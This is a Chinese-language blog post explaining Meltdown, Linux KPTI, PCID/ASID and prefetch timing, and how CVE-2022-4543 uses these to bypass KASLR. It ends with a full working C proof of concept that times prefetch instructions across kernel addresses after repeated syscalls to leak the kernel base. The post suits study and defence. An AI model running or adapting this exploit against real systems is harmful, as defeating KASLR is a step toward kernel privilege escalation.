0%

CVE-2022-4543及kpti机制

CVE-2022-4543及kpti机制

翻腾讯玄武公众号看到了这个cve-2022-4543,令我这个菜鸡大受震撼。

据我了解kpti有一部分就是为了缓解kaslr的侧信道攻击和内核页表泄露而产生的机制,但是这个cve居然通过kpti侧信道来绕过kaslr🤣,缓解了个寂寞。

Meltdown攻击

Meltdown攻击是一种直接针对底层硬件机制(CPU的乱序执行机制、Cache机制和异常处理机制)的时间侧信道攻击,它的基本原理如下所示:

img

这里对上图及上述条件作简单解释:从顶层程序的角度来看,指令A、B和C应该是顺序执行的,且由于指令A访问了非法地址的数据会触发异常,故指令B和C的操作不会被执行;然而,从底层硬件的角度来看,指令A、B和C满足乱序执行的条件,于是在下一指令所需要的数据准备完成后就可以立即开始下一指令的执行。在图中指令A的“阶段A_1”结束后,指令B由于所需要的数据已经准备完成故可立即开始执行;在图中指令B的“阶段B_1”结束后,指令C由于所需要的数据已经准备完成故可立即开始执行。若“阶段A_2”的执行时间大于“阶段B_1”的执行时间和“阶段C_1”的执行时间之和,则非法数据能够经过运算产生合法地址,且该合法地址的数据能够被放入L3_Cache中;若在指令A的“阶段A_2”结束后,检查出非法访问所引起的回滚冲刷不影响L3_Cache,则与非法数据相关的合法数据依然存在于L3_Cache中。最后,通过遍历访问合法地址的数据,并对访问时间进行计时,能够找到某个访问时间明显较短的合法数据,该数据的合法地址即为指令B中由非法数据经过运算后所得到的值,从而可以反推出原非法数据,于是间接地得到了非法地址中的数据。

kpti机制

简而言之,在没有kpti之前,内核空间和用户空间都是存在同一个页表中,这样做的好处有很多,比如效率高,从用户态切换到内核态的时候不需要切换页表,但也带来了很多问题,比较严重的问题就是内核和用户态的隔离变弱了,导致在用户态就能通过侧信道等一系列手段获得内核态的一些信息,进而对内核进行攻击,比较著名的就是熔毁和幽灵攻击了(Meltdown & Spectre)。

kpti为了解决这一些系列问题应运而生。它为了加强内核态和用户态的隔离,让他们分别处于不同的页表之中,如下图

在这里插入图片描述

进程页表分割成用户态页表和内核态页表的具体方案是什么样的?

1、在运行userapplication 的时候,将kernel mapping 减少到最少,只保留必须的user到kernel的exception entry mapping(注意这个cve就是利用了这个特性). 其他的kernel mapping 在运行user application时都去掉,变成无效mapping,这样的话,如果user访问kernel data, 在MMU地址转换的时候就会被挡掉(因为无效mapping).
2、设计一个trampoline 的kernel PGD给运行user时用。Trampoline kernel mapping PGD只包含exception entry必需的mapping.
3、当user通过系统调用,或是timer或其他异常进入kernel是首先用trampoline的mapping,接下来tramponline的vector处理会将kernel mapping 换成正常的kernel mapping(SWAPPER_PGD_DIR), 并直接跳转到kernel原来的vector entry, 继续正常处理。我们把上述过程称之为map kernel mapping.
4、当从kernel返回到user时,正常的kernel_exit会调用trampoline的exit,tramp_exit会重新将kernel mapping 换成是trampoline. 这个过程叫unmap kernel mapping.

这个过程还是比较熟悉的,和xv6的操作系统的实现原理大差不差。

kpti除了上述特性,还引入了pcid/asid,这个我认为才是加强隔离最重要的措施,在没有pcid/asid之前tlb是无法分辨不同进程的页表项的,因为他们的虚拟空间都是重叠的,所以切换进程的时候tlb必须全部刷新,但这个效率太低了,所有进程的内核空间是一样的,所以tlb引入了Global TLBnon-Global TLB,内核pte是Global TLB,用户态pte是non-Global,切换进程的时候只需要刷新non-Global就行,这样tlb就相当于半刷新了。

在这里插入图片描述

其实pcid/asid就相当于进程页表标识,每一个进程在运行时,都会动态分配一个pcid/asid,如果进程切换到本进程开始运行,把对应的pcid/asid配置到cr3中

在这里插入图片描述

在进程运行过程中,根据本进程的pgd产生的页表转换关系会缓存到TLB中,所有产生的TLB条目会根据当前cr3中的pcid/asid打上标签。TLB条目有了标签以后,页表切换就不需要去刷新旧的条目了,因为当前cpu只会认和当前cr3中asid相同的TLB条目,这样TLB就不用频繁的去刷新,且相互之间也是隔离的。为了同一进程内的用户态页表和内核态页表隔离,每个进程需要两个asid。用最高位bit11来区分,bit11=0 为内核态asid,bit11=1 为用户态asid。

在这里插入图片描述

简而言之,pcid就是进程之间区分的标识,asid就是同一个进程内核页表和用户态页表区分的标识,这样就在tlb中彻底区分了不同进程的页表项和统一进程不同态的页表项,在tlb层面实现了较为完美的隔离。

在切换进程的时候只需要根据pcid/asid把自己的页表项清除就好了,不需要全刷新或者半刷新。

cpu预取机制

x86_64有一组预取指令prefetch,这些指令可以将指定地址预取到cpu cache中,当然这个地址也会被刷新到快表tlb中,如果将要预取的地址已经存在在tls中了(就是之前使用过这个地址),那么预取将会快速完成,但是当地址不存在的时候,预取指令将会完成的比较慢,这很好理解,因为之前没有访问过,所以地址对应的pte不在tls中,所以还得遍历页表找到物理地址然后把对应地址数据拷贝到cpu cache,中,比之前者多了两步操作。

CVE-2022-4543攻击思路

主要的漏洞成因是在用户态页表中映射了entry_SYSCALL_64内核空间,而且和内核态的映射关系是相同的且这个地址到内核态的基地址的偏移是固定的,所以只要在用户态多次进行系统调用,就会在内核态多次执行entry_SYSCALL_64内部的相关函数,这样就会导致这部分地址进入tlb且对应内容会进入cpucache中,这样此时tlb中关于内核态的地址只有这一个,然后再使用预取指令遍历所有的的内核空间,找到所需时间最短的那个地址,这个地址就是entry_SYSCALL_64的地址了。然后再减去固定偏移就得到内核态基地址了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#define KERNEL_LOWER_BOUND 0xffffffff80000000ull
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull
#define entry_SYSCALL_64_offset 0xd00000ull

uint64_t sidechannel(uint64_t addr) {
uint64_t a, b, c, d;
asm volatile (".intel_syntax noprefix;"
"mfence;"
"rdtscp;"
"mov %0, rax;"
"mov %1, rdx;"
"xor rax, rax;"
"lfence;"
"prefetchnta qword ptr [%4];"
"prefetcht2 qword ptr [%4];"
"xor rax, rax;"
"lfence;"
"rdtscp;"
"mov %2, rax;"
"mov %3, rdx;"
"mfence;"
".att_syntax;"
: "=r" (a), "=r" (b), "=r" (c), "=r" (d)
: "r" (addr)
: "rax", "rbx", "rcx", "rdx");
a = (b << 32) | a;
c = (d << 32) | c;
return c - a;
}

#define STEP 0x100000ull
#define SCAN_START KERNEL_LOWER_BOUND + entry_SYSCALL_64_offset
#define SCAN_END KERNEL_UPPER_BOUND + entry_SYSCALL_64_offset

#define DUMMY_ITERATIONS 5
#define ITERATIONS 100
#define ARR_SIZE (SCAN_END - SCAN_START) / STEP

uint64_t leak_syscall_entry(void)
{
uint64_t data[ARR_SIZE] = {0};
uint64_t min = ~0, addr = ~0;

for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
{
for (uint64_t idx = 0; idx < ARR_SIZE; idx++)
{
uint64_t test = SCAN_START + idx * STEP;
syscall(104);
uint64_t time = sidechannel(test);
if (i >= DUMMY_ITERATIONS)
data[idx] += time;
}
}

for (int i = 0; i < ARR_SIZE; i++)
{
data[i] /= ITERATIONS;
if (data[i] < min)
{
min = data[i];
addr = SCAN_START + i * STEP;
}
printf("%llx %ld\n", (SCAN_START + i * STEP), data[i]);
}

printf("[*] entry_SYSCALL_6_addr:%p\n",addr);
return addr;
}

int main()
{
printf ("KASLR base %llx\n", leak_syscall_entry() - entry_SYSCALL_64_offset);
}

攻击效果

image-20230131163442189